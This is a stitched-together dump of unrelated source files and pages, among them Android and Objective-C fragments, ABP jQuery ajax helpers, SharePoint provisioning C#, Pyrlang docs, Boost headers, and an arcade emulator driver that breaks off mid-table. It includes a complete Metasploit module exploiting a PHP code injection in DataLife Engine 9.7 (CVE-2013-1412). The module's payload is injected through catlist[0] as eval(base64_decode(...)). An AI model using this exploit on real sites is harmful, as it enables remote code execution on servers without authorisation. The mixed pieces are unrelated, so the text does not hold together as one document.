			return mapActivity.getString(R.string.shared_string_history);
		} else {
			return "";
		}
	}

	@Override
	public boolean needStreetName() {
		return !entry.getName().isAddress();
	}
}


//
//     Generated by class-dump 3.5 (64 bit) (Debug version compiled Oct 15 2018 10:31:50).
//
//     class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard.
//

#import <TuriCore/JSExport-Protocol.h>

@class NSString;

@protocol TCVegaCSSStyleDeclarationInterface <JSExport>
@property(retain, nonatomic) NSString *cursor;
@end


Enhanced image

Accepted by the nation as part of the Turner Bequest 1856

Sailing Vessels on River


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'DataLife Engine preview.php PHP Code Injection',
			'Description'    => %q{
					This module exploits a PHP code injection vulnerability DataLife Engine 9.7.
				The vulnerability exists in preview.php, due to an insecure usage of preg_replace()
				with the e modifier, which allows to inject arbitrary php code, when the template
				in use contains a [catlist] or [not-catlist] tag.
			},
			'Author'         =>
				[
					'EgiX', # Vulnerability discovery
					'juan vazquez' # Metasploit module
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2013-1412' ],
					[ 'BID', '57603' ],
					[ 'EDB', '24438' ],
					[ 'URL', 'http://karmainsecurity.com/KIS-2013-01' ],
					[ 'URL', 'http://dleviet.com/dle/bug-fix/3281-security-patches-for-dle-97.html' ]
				],
			'Privileged'     => false,
			'Platform'       => ['php'],
			'Arch'           => ARCH_PHP,
			'Payload'        =>
				{
					'Keys'   => ['php']
				},
			'DisclosureDate' => 'Jan 28 2013',
			'Targets'        => [ ['DataLife Engine 9.7', { }], ],
			'DefaultTarget'  => 0
			))

		register_options(
			[
				OptString.new('TARGETURI', [ true, "The base path to the web application", "/"])
			], self.class)
	end

	def uri
		normalize_uri(target_uri.path, 'engine', 'preview.php')
	end

	def check
		fingerprint = rand_text_alpha(4+rand(4))
		res = send_request_cgi(
			{
				'uri'       =>  uri,
				'method'    => 'POST',
				'vars_post' =>
					{
						'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||printf(\"#{fingerprint}\");//"
					}
			})

		if res and res.code == 200 and res.body =~ /#{fingerprint}/
			return Exploit::CheckCode::Vulnerable
		else
			return Exploit::CheckCode::Safe
		end
	end

	def exploit
		@peer = "#{rhost}:#{rport}"

		print_status("#{@peer} - Exploiting the preg_replace() to execute PHP code")
		res = send_request_cgi(
			{
				'uri'       =>  uri,
				'method'    => 'POST',
				'vars_post' =>
					{
						'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));//"
					}
			})
	end
end


var abp = abp || {};
(function ($) {

    if (!$) {
        return;
    }

    /* JQUERY ENHANCEMENTS ***************************************************/

    // abp.ajax -> uses $.ajax ------------------------------------------------

    abp.ajax = function (userOptions) {
        userOptions = userOptions || {};

        var options = $.extend(true, {}, abp.ajax.defaultOpts, userOptions);
        var oldBeforeSendOption = options.beforeSend;
        options.beforeSend = function(xhr) {
            if (oldBeforeSendOption) {
                 oldBeforeSendOption(xhr);
            }

            xhr.setRequestHeader("Pragma", "no-cache");
            xhr.setRequestHeader("Cache-Control", "no-cache");
            xhr.setRequestHeader("Expires", "Sat, 01 Jan 2000 00:00:00 GMT");
        };

        options.success = undefined;
        options.error = undefined;

        return $.Deferred(function ($dfd) {
            $.ajax(options)
                .done(function (data, textStatus, jqXHR) {
                    if (data.__abp) {
                        abp.ajax.handleResponse(data, userOptions, $dfd, jqXHR);
                    } else {
                        $dfd.resolve(data);
                        userOptions.success && userOptions.success(data);
                    }
                }).fail(function (jqXHR) {
                    if (jqXHR.responseJSON && jqXHR.responseJSON.__abp) {
                        abp.ajax.handleResponse(jqXHR.responseJSON, userOptions, $dfd, jqXHR);
                    } else {
                        abp.ajax.handleNonAbpErrorResponse(jqXHR, userOptions, $dfd);
                    }
                });
        });
    };

    $.extend(abp.ajax, {
        defaultOpts: {
            dataType: 'json',
            type: 'POST',
            contentType: 'application/json',
            headers: {
                'X-Requested-With': 'XMLHttpRequest'
            }
        },

        defaultError: {
            message: 'An error has occurred!',
            details: 'Error detail not sent by server.'
        },

        defaultError401: {
            message: 'You are not authenticated!',
            details: 'You should be authenticated (sign in) in order to perform this operation.'
        },

        defaultError403: {
            message: 'You are not authorized!',
            details: 'You are not allowed to perform this operation.'
        },

        defaultError404: {
            message: 'Resource not found!',
            details: 'The resource requested could not found on the server.'
        },

        logError: function (error) {
            abp.log.error(error);
        },

        showError: function (error) {
            if (error.details) {
                return abp.message.error(error.details, error.message);
            } else {
                return abp.message.error(error.message || abp.ajax.defaultError.message);
            }
        },

        handleTargetUrl: function (targetUrl) {
            if (!targetUrl) {
                location.href = abp.appPath;
            } else {
                location.href = targetUrl;
            }
        },

        handleNonAbpErrorResponse: function (jqXHR, userOptions, $dfd) {
            if (userOptions.abpHandleError !== false) {
                switch (jqXHR.status) {
                    case 401:
                        abp.ajax.handleUnAuthorizedRequest(
                            abp.ajax.showError(abp.ajax.defaultError401),
                            abp.appPath
                        );
                        break;
                    case 403:
                        abp.ajax.showError(abp.ajax.defaultError403);
                        break;
                    case 404:
                        abp.ajax.showError(abp.ajax.defaultError404);
                        break;
                    default:
                        abp.ajax.showError(abp.ajax.defaultError);
                        break;
                }
            }

            $dfd.reject.apply(this, arguments);
            userOptions.error && userOptions.error.apply(this, arguments);
        },

        handleUnAuthorizedRequest: function (messagePromise, targetUrl) {
            if (messagePromise) {
                messagePromise.done(function () {
                    abp.ajax.handleTargetUrl(targetUrl);
                });
            } else {
                abp.ajax.handleTargetUrl(targetUrl);
            }
        },

        handleResponse: function (data, userOptions, $dfd, jqXHR) {
            if (data) {
                if (data.success === true) {
                    $dfd && $dfd.resolve(data.result, data, jqXHR);
                    userOptions.success && userOptions.success(data.result, data, jqXHR);

                    if (data.targetUrl) {
                        abp.ajax.handleTargetUrl(data.targetUrl);
                    }
                } else if (data.success === false) {
                    var messagePromise = null;

                    if (data.error) {
                        if (userOptions.abpHandleError !== false) {
                            messagePromise = abp.ajax.showError(data.error);
                        }
                    } else {
                        data.error = abp.ajax.defaultError;
                    }

                    abp.ajax.logError(data.error);

                    $dfd && $dfd.reject(data.error, jqXHR);
                    userOptions.error && userOptions.error(data.error, jqXHR);

                    if (jqXHR.status === 401 && userOptions.abpHandleError !== false) {
                        abp.ajax.handleUnAuthorizedRequest(messagePromise, data.targetUrl);
                    }
                } else { //not wrapped result
                    $dfd && $dfd.resolve(data, null, jqXHR);
                    userOptions.success && userOptions.success(data, null, jqXHR);
                }
            } else { //no data sent to back
                $dfd && $dfd.resolve(jqXHR);
                userOptions.success && userOptions.success(jqXHR);
            }
        },

        blockUI: function (options) {
            if (options.blockUI) {
                if (options.blockUI === true) { //block whole page
                    abp.ui.setBusy();
                } else { //block an element
                    abp.ui.setBusy(options.blockUI);
                }
            }
        },

        unblockUI: function (options) {
            if (options.blockUI) {
                if (options.blockUI === true) { //unblock whole page
                    abp.ui.clearBusy();
                } else { //unblock an element
                    abp.ui.clearBusy(options.blockUI);
                }
            }
        },

        ajaxSendHandler: function (event, request, settings) {
            var token = abp.security.antiForgery.getToken();
            if (!token) {
                return;
            }

            if (!abp.security.antiForgery.shouldSendToken(settings)) {
                return;
            }

            if (!settings.headers || settings.headers[abp.security.antiForgery.tokenHeaderName] === undefined) {
                request.setRequestHeader(abp.security.antiForgery.tokenHeaderName, token);
            }
        }
    });

    $(document).ajaxSend(function (event, request, settings) {
        return abp.ajax.ajaxSendHandler(event, request, settings);
    });

    /* JQUERY PLUGIN ENHANCEMENTS ********************************************/

    /* jQuery Form Plugin
     * http://www.malsup.com/jquery/form/
     */

    // abpAjaxForm -> uses ajaxForm ------------------------------------------

    if ($.fn.ajaxForm) {
        $.fn.abpAjaxForm = function (userOptions) {
            userOptions = userOptions || {};

            var options = $.extend({}, $.fn.abpAjaxForm.defaults, userOptions);

            options.beforeSubmit = function () {
                abp.ajax.blockUI(options);
                userOptions.beforeSubmit && userOptions.beforeSubmit.apply(this, arguments);
            };

            options.success = function (data) {
                abp.ajax.handleResponse(data, userOptions);
            };

            //TODO: Error?

            options.complete = function () {
                abp.ajax.unblockUI(options);
                userOptions.complete && userOptions.complete.apply(this, arguments);
            };

            return this.ajaxForm(options);
        };

        $.fn.abpAjaxForm.defaults = {
            method: 'POST'
        };
    }

    abp.event.on('abp.dynamicScriptsInitialized', function () {
        abp.ajax.defaultError.message = abp.localization.abpWeb('DefaultError');
        abp.ajax.defaultError.details = abp.localization.abpWeb('DefaultErrorDetail');
        abp.ajax.defaultError401.message = abp.localization.abpWeb('DefaultError401');
        abp.ajax.defaultError401.details = abp.localization.abpWeb('DefaultErrorDetail401');
        abp.ajax.defaultError403.message = abp.localization.abpWeb('DefaultError403');
        abp.ajax.defaultError403.details = abp.localization.abpWeb('DefaultErrorDetail403');
        abp.ajax.defaultError404.message = abp.localization.abpWeb('DefaultError404');
        abp.ajax.defaultError404.details = abp.localization.abpWeb('DefaultErrorDetail404');
    });

})(jQuery);


using Provisioning.Common.Authentication;
using Provisioning.Common.Configuration;
using Provisioning.Common.Configuration.Application;
using Provisioning.Common.Utilities;
using Microsoft.Online.SharePoint.TenantAdministration;
using Microsoft.Online.SharePoint.TenantManagement;
using Microsoft.SharePoint.Client;
using OfficeDevPnP.Core.Entities;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using Provisioning.Common.Data.Templates;
using System.Diagnostics;

namespace Provisioning.Common
{
    /// <summary>
    /// Abstract Site Provisioning Service
    /// </summary>
    public abstract class AbstractSiteProvisioningService : ISiteProvisioning, ISharePointClientService
    {
        #region Properties
        /// <summary>
        /// Gets or Sets the services Authentication.
        /// </summary>
        public IAuthentication Authentication
        {
            get;
            set;
        }
        #endregion

        #region ISiteProvisioning Members
        public abstract void CreateSiteCollection(SiteInformation siteRequest, Template template);

        public abstract Web CreateSubSite(SiteInformation siteRequest, Template template);

        public virtual bool IsTenantExternalSharingEnabled(string tenantUrl)
        {
            Log.Info("AbstractSiteProvisioningService.IsTenantExternalSharingEnabled", "Entering IsTenantExternalSharingEnabled Url {0}", tenantUrl);
            var _returnResult = false;
            UsingContext(ctx =>
            {
                Stopwatch _timespan = Stopwatch.StartNew();
                Tenant _tenant = new Tenant(ctx);
                ctx.Load(_tenant);
                try
                {
                    //IF CALLING SP ONPREM THIS WILL FAIL
                    ctx.ExecuteQuery();
                    //check sharing capabilities
                    if(_tenant.SharingCapability == SharingCapabilities.Disabled)
                    {
                        _returnResult = false;
                    }
                    else
                    {
                        _returnResult = true;
                    }
                    _timespan.Stop();
                    Log.TraceApi("SharePoint", "AbstractSiteProvisioningService.IsTenantExternalSharingEnabled", _timespan.Elapsed);

                }
                catch(Exception ex)
                {
                    Log.Error("Provisioning.Common.AbstractSiteProvisioningService.IsTenantExternalSharingEnabled",
                        PCResources.ExternalSharing_Enabled_Error_Message,
                        tenantUrl,
                        ex);
                }
            });

            return _returnResult;
        }

        /// <summary>
        ///
        /// </summary>
        /// <param name="siteUrl"></param>
        public virtual bool isSiteExternalSharingEnabled(string siteUrl)
        {
            ConfigManager _manager = new ConfigManager();
            var _tenantAdminUrl = _manager.GetAppSettingsKey("TenantAdminUrl");
            var _returnResult = false;

            AbstractSiteProvisioningService _siteService = new Office365SiteProvisioningService();
            _siteService.Authentication = new AppOnlyAuthenticationTenant();
            _siteService.Authentication.TenantAdminUrl = _tenantAdminUrl;

            _siteService.UsingContext(ctx =>
            {
                try
                {
                    Tenant _tenant = new Tenant(ctx);
                    SiteProperties _siteProps = _tenant.GetSitePropertiesByUrl(siteUrl, false);
                    ctx.Load(_tenant);
                    ctx.Load(_siteProps);
                    ctx.ExecuteQuery();

                    var _tenantSharingCapability = _tenant.SharingCapability;
                    var _siteSharingCapability = _siteProps.SharingCapability;

                    if (_tenantSharingCapability != SharingCapabilities.Disabled)
                    {
                        if (_siteSharingCapability != SharingCapabilities.Disabled)
                        {
                            // Enabled
                            _returnResult = true;
                        }
                        else
                        {
                            // Disabled
                            _returnResult = false;
                        }
                    }
                    else
                    {
                        // Disabled
                        _returnResult = false;
                    }

                }
                catch (Exception _ex)
                {
                    Log.Warning("AbstractSiteProvisioningService.IsSiteExternalSharingEnabled",
                        PCResources.SiteExternalSharing_Enabled_Error_Message,
                        siteUrl,
                        _ex);
                }

            });

            return _returnResult;
        }

        public abstract void SetExternalSharing(SiteInformation siteInfo);

        public virtual SitePolicyEntity GetAppliedSitePolicy()
        {
            Log.Info("AbstractSiteProvisioningService.GetAppliedSitePolicy", "Entering GetAppliedSitePolicy");
            SitePolicyEntity _appliedSitePolicy = null;
            UsingContext(ctx =>
            {
                Stopwatch _timespan = Stopwatch.StartNew();
                var _web = ctx.Web;
                _appliedSitePolicy = _web.GetAppliedSitePolicy();

                _timespan.Stop();
                Log.TraceApi("SharePoint", "AbstractSiteProvisioningService.IsTenantExternalSharingEnabled", _timespan.Elapsed);
            });
            return _appliedSitePolicy;
        }

        public virtual void SetSitePolicy(string policyName)
        {
            Log.Info("AbstractSiteProvisioningService.SetSitePolicy", "Entering SetSitePolicy Policy Name {0}", policyName);
            UsingContext(ctx =>
            {
                Stopwatch _timespan = Stopwatch.StartNew();
                var _web = ctx.Web;
                bool _policyApplied = _web.ApplySitePolicy(policyName);

                _timespan.Stop();
                Log.TraceApi("SharePoint", "AbstractSiteProvisioningService.SetSitePolicy", _timespan.Elapsed);
            });
        }

        public virtual List<SitePolicyEntity> GetAvailablePolicies()
        {
            List<SitePolicyEntity> _results = new List<SitePolicyEntity>();
            UsingContext(ctx =>
            {
                var _web = ctx.Web;
                _results = _web.GetSitePolicies();
            });
            return _results;
        }

        public Web GetWebByUrl(string url)
        {
            Log.Info("AbstractSiteProvisioningService.GetWebByUrl", "Entering GetWebByUrl Url {0}", url);
            Web _web = null;
            UsingContext(ctx =>
            {
                _web = ctx.Site.RootWeb;
                ctx.Load(_web);
                ctx.ExecuteQuery();
            });

            return _web;
        }

        /// <summary>
        /// Returns the Site Collection ID
        /// </summary>
        /// <param name="url"></param>
        /// <returns></returns>
        public Guid? GetSiteGuidByUrl(string url)
        {
            Log.Info("AbstractSiteProvisioningService.GetSiteGuidByUrl", "Entering GetSiteGuidByUrl Url {0}", url);
            Guid? _siteID = Guid.Empty;
            UsingContext(ctx =>
            {
                Tenant _tenant = new Tenant(ctx);
                _siteID = _tenant.GetSiteGuidByUrl(url);
            });

            return _siteID;
        }
        #endregion

        /// <summary>
        /// Checks to see if a site already exists.
        /// </summary>
        /// <param name="siteUrl"></param>
        /// <returns></returns>
        public bool SiteExists(string siteUrl)
        {
            bool _doesSiteExist = false;
            UsingContext(ctx =>
            {
                var tenant = new Tenant(ctx);
                _doesSiteExist = tenant.SiteExists(siteUrl);
            });
            return _doesSiteExist;
        }

        /// <summary>
        /// Checks to see if a sub site already exists.
        /// </summary>
        /// <param name="siteUrl"></param>
        /// <returns></returns>
        public bool SubSiteExists(string siteUrl)
        {
            bool _doesSiteExist = false;
            UsingContext(ctx =>
            {
                var tenant = new Tenant(ctx);
                _doesSiteExist = tenant.SubSiteExists(siteUrl);
            });
            return _doesSiteExist;
        }

        #region ISharePointService Members
        /// <summary>
        /// Delegate that is used to handle creation of ClientContext that is authenticated
        /// </summary>
        /// <param name="action"></param>
        public void UsingContext(Action<ClientContext> action)
        {
            UsingContext(action, Timeout.Infinite);
        }

        /// <summary>
        /// Delegate that is used to handle creation of ClientContext that is authenticated
        /// </summary>
        /// <param name="action"></param>
        public void UsingContext(Action<ClientContext> action, int csomTimeout)
        {
            using (ClientContext _ctx = Authentication.GetAuthenticatedContext())
            {
                _ctx.RequestTimeout = csomTimeout;
                action(_ctx);
            }
        }
        #endregion

    }
}


<!DOCTYPE html>

    <meta charset="utf-8" />
    <title>gen.server module — Pyrlang 1.0 documentation</title>
    <link rel="stylesheet" href="../../_static/alabaster.css" type="text/css" />
    <link rel="stylesheet" href="../../_static/pygments.css" type="text/css" />

    <link rel="index" title="Index" href="../../genindex.html" />
    <link rel="search" title="Search" href="../../search.html" />
    <link rel="next" title="net_kernel module" href="../net_kernel.html" />
    <link rel="prev" title="gen module - Generic OTP-style calls" href="index.html" />

  <link rel="stylesheet" href="../../_static/custom.css" type="text/css" />

  <meta name="viewport" content="width=device-width, initial-scale=0.9, maximum-scale=0.9" />

gen.server module¶

Example of how to inherit from GenServer:

class MyProcess(GenServer):
    def __init__(self, node) -> None:
        GenServer.__init__(self, node, accepted_calls=['hello'])

    def hello(self):
        return self.pid_

class pyrlang.gen.server.GSM(name, bases, nmspc)¶

Bases: type

Meta class for GenServer

Looks for functions that have been decorated and adds them to
match functions

class pyrlang.gen.server.GenServer¶

Bases: pyrlang.process.Process

async process_loop()¶

Polls inbox in an endless loop.
.. note:

This will not be executed if the process was constructed with
``passive=True`` (the default). Passive processes should read
their inbox directly from ``self.inbox_``.

timeout(seconds=None)¶

set the gen_server timeout, will generate inbox Atom('timeout')
:param seconds:
:return:

class pyrlang.gen.server.GenServerInterface(calling_process: pyrlang.process.Process, destination_pid)¶

Bases: object

Class that implements an interface for gen_servers

This class is intended to be used in Process instances where
gen_server behaviour interaction is necessary.

in a raw form this class is initiated with the calling process instance and
the pid of the destination process, then you can make calls and cast:

gsi = GenServerInterface(some_process, remote_pid)
await gsi.call(call_request)
await gsi.cast(cast_request)
gsi.cast_nowait(other_cast_request)

If you want to create an interface you override this class and implement
the functions, hiding the gen_server methods, just like in erlang

async call(request, timeout=None)¶

async cast(request)¶

cast_nowait(request)¶

    Return to Start

Pyrlang

Navigation

Contents:

Building the Library

Examples!

Configuring Pyrlang in Runtime

Cookbook - How to Get Started

Data Types in Pyrlang

Remote Calling Python from Erlang

Pyrlang modules

dist_proto module

gen module - Generic OTP-style calls

gen.server module

net_kernel module

node module (begin code exploration from here!)

pyrlang.notebook module

process module

rex module - Remote Execution

util module

Related Topics

Documentation overview

Pyrlang modules

gen module - Generic OTP-style calls

Previous: gen module - Generic OTP-style calls

Next: net_kernel module

Quick search

    <form class="search" action="../../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" />
      <input type="submit" value="Go" />
    </form>

      ©2017-2019, Erlang Solutions Ltd. S2HC Sweden AB.

      |
      Powered by Sphinx 2.2.0
      & Alabaster 0.7.12

      |
      Page source


package org.exoplatform.platform.migration;

import org.exoplatform.commons.upgrade.UpgradeProductPlugin;
import org.exoplatform.container.xml.InitParams;
import org.exoplatform.services.log.ExoLogger;
import org.exoplatform.services.log.Log;
import org.exoplatform.services.organization.externalstore.IDMExternalStoreImportService;
import org.exoplatform.services.organization.externalstore.IDMExternalStoreService;

/**
 * This Upgrade Plugin will execute the whole first additional information about
 * originating store (external or internal) of users and groups.
 */
public class ExternalStoreUpgradePlugin extends UpgradeProductPlugin {
  private static final Log              LOG = ExoLogger.getLogger(ExternalStoreUpgradePlugin.class);

  private IDMExternalStoreImportService externalStoreImportService;

  private IDMExternalStoreService       externalStoreService;

  public ExternalStoreUpgradePlugin(IDMExternalStoreImportService externalStoreImportService,
                                    IDMExternalStoreService externalStoreService,
                                    InitParams initParams) {
    super(initParams);
    this.externalStoreImportService = externalStoreImportService;
    this.externalStoreService = externalStoreService;
  }

  @Override
  public void processUpgrade(String oldVersion, String newVersion) {
    try {
      externalStoreImportService.importAllModifiedEntitiesToQueue();
    } catch (Exception e) {
      throw new RuntimeException("An error occurred while migrating IDM entities", e);
    }
  }

  @Override
  public boolean isEnabled() {
    if (!externalStoreService.isEnabled()) {
      LOG.info("ExternalStoreService is disabled, no migration is required.");
      return false;
    }
    return super.isEnabled();
  }
}


<!doctype html>
<title>Yeti Script in Comment Test</title>
<!-- <script src="bogus.js"></script> -->
<script src="test.js"></script>


//
// detail/local_free_on_block_exit.hpp
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
//
// Copyright (c) 2003-2012 Christopher M. Kohlhoff (chris at kohlhoff dot com)
//
// Distributed under the Boost Software License, Version 1.0. (See accompanying
// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
//

#ifndef BOOST_ASIO_DETAIL_LOCAL_FREE_ON_BLOCK_EXIT_HPP
#define BOOST_ASIO_DETAIL_LOCAL_FREE_ON_BLOCK_EXIT_HPP

#if defined(_MSC_VER) && (_MSC_VER >= 1200)
# pragma once
#endif // defined(_MSC_VER) && (_MSC_VER >= 1200)

#include <boost/asio/detail/config.hpp>

#if defined(BOOST_WINDOWS) || defined(__CYGWIN__)

#include <boost/asio/detail/noncopyable.hpp>
#include <boost/asio/detail/socket_types.hpp>

#include <boost/asio/detail/push_options.hpp>

namespace boost {
namespace asio {
namespace detail {

class local_free_on_block_exit
  : private noncopyable
{
public:
  // Constructor blocks all signals for the calling thread.
  explicit local_free_on_block_exit(void* p)
    : p_(p)
  {
  }

  // Destructor restores the previous signal mask.
  ~local_free_on_block_exit()
  {
    ::LocalFree(p_);
  }

private:
  void* p_;
};

} // namespace detail
} // namespace asio
} // namespace boost

#include <boost/asio/detail/pop_options.hpp>

#endif // defined(BOOST_WINDOWS) || defined(__CYGWIN__)

#endif // BOOST_ASIO_DETAIL_LOCAL_FREE_ON_BLOCK_EXIT_HPP


# map.moveCamera()

You can change camera position **without** animation.

```typescript
map.moveCamera(cameraPosition).then(() => {

})
```

## Parameters

name           | type                                             | description
---------------|--------------------------------------------------|---------------------------------------
cameraPosition | [cameraPosition](../../cameraPosition/README.md) | new camera position. **duration** property is ignored.

## Return value

:arrow_right: Returns `Promise<any>`

----------------------------------------------------------------------------------------------------------

## Demo code

```html
<div class="map" id="map_canvas">
  <button ion-button (click)="onButtonClick()">
  Click here
  </button>
</div>
```

```typescript
map: GoogleMap;

loadMap() {
  this.map = GoogleMaps.create("map_canvas");
}

onButtonClick() {
  this.map.moveCamera({
    target: {lat: 37.422359, lng: -122.084344},
    zoom: 17,
    tilt: 60,
    bearing: 140
  }).then(() => {
    alert("Camera target has been changed");
  });
}

```

![](image.gif)


using Chloe.DbExpressions;

namespace Chloe.MySql.MethodHandlers
{
    class Count_Handler : IMethodHandler
    {
        public bool CanProcess(DbMethodCallExpression exp)
        {
            if (exp.Method.DeclaringType != PublicConstants.TypeOfSql)
                return false;

            return true;
        }
        public void Process(DbMethodCallExpression exp, SqlGenerator generator)
        {
            SqlGenerator.Aggregate_Count(generator);
        }
    }
}


/*
 * Copyright 2009-2012 Karsten Ahnert
 * Copyright 2009-2012 Mario Mulansky
 *
 * Distributed under the Boost Software License, Version 1.0.
 * (See accompanying file LICENSE_1_0.txt or
 * copy at http://www.boost.org/LICENSE_1_0.txt)
 */

#include <vector>

using namespace std;

struct rt_algebra
{
    template< typename T , size_t dim >
    inline static void foreach( boost::array< T , dim > & x_tmp ,
                                const boost::array< T , dim > &x ,
                                //const vector< double > &a ,
                                const double* a ,
                                const boost::array< T , dim > *k_vector ,
                                const double dt , const size_t s )
    {
        for( size_t i=0 ; i<dim ; ++i )
        {
            x_tmp[i] = x[i];
            for( size_t j = 0 ; j<s ; ++j )
                x_tmp[i] += a[j]*dt*k_vector[j][i];
        }
    }
};


<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="10116" systemVersion="15E65" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" launchScreen="YES" useTraitCollections="YES" initialViewController="01J-lp-oVM">
    <dependencies>
        <deployment identifier="iOS"/>
        <plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="10085"/>
    </dependencies>
    <scenes>
        <!--View Controller-->
        <scene sceneID="EHf-IW-A2E">
            <objects>
                <viewController id="01J-lp-oVM" sceneMemberID="viewController">
                    <layoutGuides>
                        <viewControllerLayoutGuide type="top" id="Llm-lL-Icb"/>
                        <viewControllerLayoutGuide type="bottom" id="xb3-aO-Qok"/>
                    </layoutGuides>
                    <view key="view" contentMode="scaleToFill" id="Ze5-6b-2t3">
                        <rect key="frame" x="0.0" y="0.0" width="600" height="600"/>
                        <autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
                        <color key="backgroundColor" white="1" alpha="1" colorSpace="custom" customColorSpace="calibratedWhite"/>
                    </view>
                </viewController>
                <placeholder placeholderIdentifier="IBFirstResponder" id="iYj-Kq-Ea1" userLabel="First Responder" sceneMemberID="firstResponder"/>
            </objects>
            <point key="canvasLocation" x="53" y="375"/>
        </scene>
    </scenes>
</document>


# Scenario: Client generation

> see https://aka.ms/autorest

``` yaml
input-file: petstore.yaml

csharp:
  namespace: Petstore
  output-folder: Client
  enable-xml: true                # enable experimental XML serialization support
  # azure-arm: true               # uncomment this line to enable code generation in the Azure flavor
```


// FB Alpha Aliens driver module
// Based on MAME driver by Manuel Abadia

#include "tiles_generic.h"
#include "z80_intf.h"
#include "konami_intf.h"
#include "konamiic.h"
#include "burn_ym2151.h"
#include "k007232.h"

static UINT8 *AllMem;
static UINT8 *MemEnd;
static UINT8 *AllRam;
static UINT8 *RamEnd;
static UINT8 *DrvKonROM;
static UINT8 *DrvZ80ROM;
static UINT8 *DrvGfxROM0;
static UINT8 *DrvGfxROM1;
static UINT8 *DrvGfxROMExp0;
static UINT8 *DrvGfxROMExp1;
static UINT8 *DrvSndROM;
static UINT8 *DrvBankRAM;
static UINT8 *DrvKonRAM;
static UINT8 *DrvPalRAM;
static UINT8 *DrvZ80RAM;
static UINT32 *DrvPalette;
static UINT8 DrvRecalc;

static UINT8 *soundlatch;
static UINT8 *nDrvRamBank;
static UINT8 *nDrvKonamiBank;

static UINT8 DrvJoy1[8];
static UINT8 DrvJoy2[8];
static UINT8 DrvJoy3[8];
static UINT8 DrvDips[3];
static UINT8 DrvInputs[2];
static UINT8 DrvReset;

static struct BurnInputInfo AliensInputList[] = {
	{"P1 Coin",		BIT_DIGITAL,	DrvJoy1 + 6,	"p1 coin"	},
	{"P1 Start",		BIT_DIGITAL,	DrvJoy1 + 7,	"p1 start"	},
	{"P1 Up",		BIT_DIGITAL,	DrvJoy1 + 2,	"p1 up"		},
	{"P1 Down",		BIT_DIGITAL,	DrvJoy1 + 3,	"p1 down"	},
	{"P1 Left",		BIT_DIGITAL,	DrvJoy1 + 0,	"p1 left"	},
	{"P1 Right",		BIT_DIGITAL,	DrvJoy1 + 1,	"p1 right"	},
	{"P1 Button 1",		BIT_DIGITAL,	DrvJoy1 + 4,	"p1 fire 1"	},
	{"P1 Button 2",		BIT_DIGITAL,	DrvJoy1 + 5,	"p1 fire 2"	},

	{"P2 Coin",		BIT_DIGITAL,	DrvJoy2 + 6,	"p2 coin"	},
	{"P2 Start",		BIT_DIGITAL,	DrvJoy2 + 7,	"p2 start"	},
	{"P2 Up",		BIT_DIGITAL,	DrvJoy2 + 2,	"p2 up"		},
	{"P2 Down",		BIT_DIGITAL,	DrvJoy2 + 3,	"p2 down"	},
	{"P2 Left",		BIT_DIGITAL,	DrvJoy2 + 0,	"p2 left"	},
	{"P2 Right",		BIT_DIGITAL,	DrvJoy2 + 1,	"p2 right"	},
	{"P2 Button 1",		BIT_DIGITAL,	DrvJoy2 + 4,	"p2 fire 1"	},
	{"P2 Button 2",		BIT_DIGITAL,	DrvJoy2 + 5,	"p2 fire 2"	},

	{"Reset",		BIT_DIGITAL,	&DrvReset,	"reset"		},
	{"Service",		BIT_DIGITAL,	DrvJoy3 + 4,	"service"	},
	{"Dip A",		BIT_DIPSWITCH,	DrvDips + 0,	"dip"		},
	{"Dip B",		BIT_DIPSWITCH,	DrvDips + 1,	"dip"		},
	{"Dip C",		BIT_DIPSWITCH,	DrvDips + 2,	"dip"		},
};

STDINPUTINFO(Aliens)

static struct BurnDIPInfo AliensDIPList[]=
{
	{0x12, 0xff, 0xff, 0xff, NULL			},
	{0x13, 0xff, 0xff, 0x5e, NULL			},
	{0x14, 0xff, 0xff, 0xff, NULL			},

	{0   , 0xfe, 0   ,    16, "Coin A"		},
	{0x12, 0x01, 0x0f, 0x02, "4 Coins 1 Credit"	  },
	{0x12, 0x01, 0x0f, 0x05, "3 Coins 1 Credit"	  },
	{0x12, 0x01, 0x0f, 0x08, "2 Coins 1 Credit"	  },
	{0x12, 0x01, 0x0f, 0x04, "3 Coins 2 Credits"	},
	{0x12, 0x01, 0x0f, 0x01, "4 Coins 3 Credits"	},
	{0x12, 0x01, 0x0f, 0x0f, "1 Coin  1 Credit"	  },
	{0x12, 0x01, 0x0f, 0x03, "3 Coins 4 Credits"	},
	{0x12, 0x01, 0x0f, 0x07, "2 Coins 3 Credits"	},
	{0x12, 0x01, 0x0f, 0x0e, "1 Coin  2 Credits"	},
	{0x12, 0x01, 0x0f, 0x06, "2 Coins 5 Credits"	},
	{0x12, 0x01, 0x0f, 0x0d, "1 Coin  3 Credits"	},
	{0x12, 0x01, 0x0f, 0x0c, "1 Coin  4 Credits"	},
	{0x12, 0x01, 0x0f, 0x0b, "1 Coin  5 Credits"	},
	{0x12, 0x01, 0x0f, 0x0a, "1 Coin  6 Credits"	},
	{0x12, 0x01, 0x0f, 0x09, "1 Coin  7 Credits"	},
	{0x12, 0x01, 0x0f, 0x00, "Free Play"		},

	{0   , 0xfe, 0   ,    16, "Coin B"		},
	{0x12, 0x01, 0xf0, 0x20, "4 Coins 1 Credit"	  },
	{0x12, 0x01, 0xf0, 0x50, "3 Coins 1 Credit"	  },
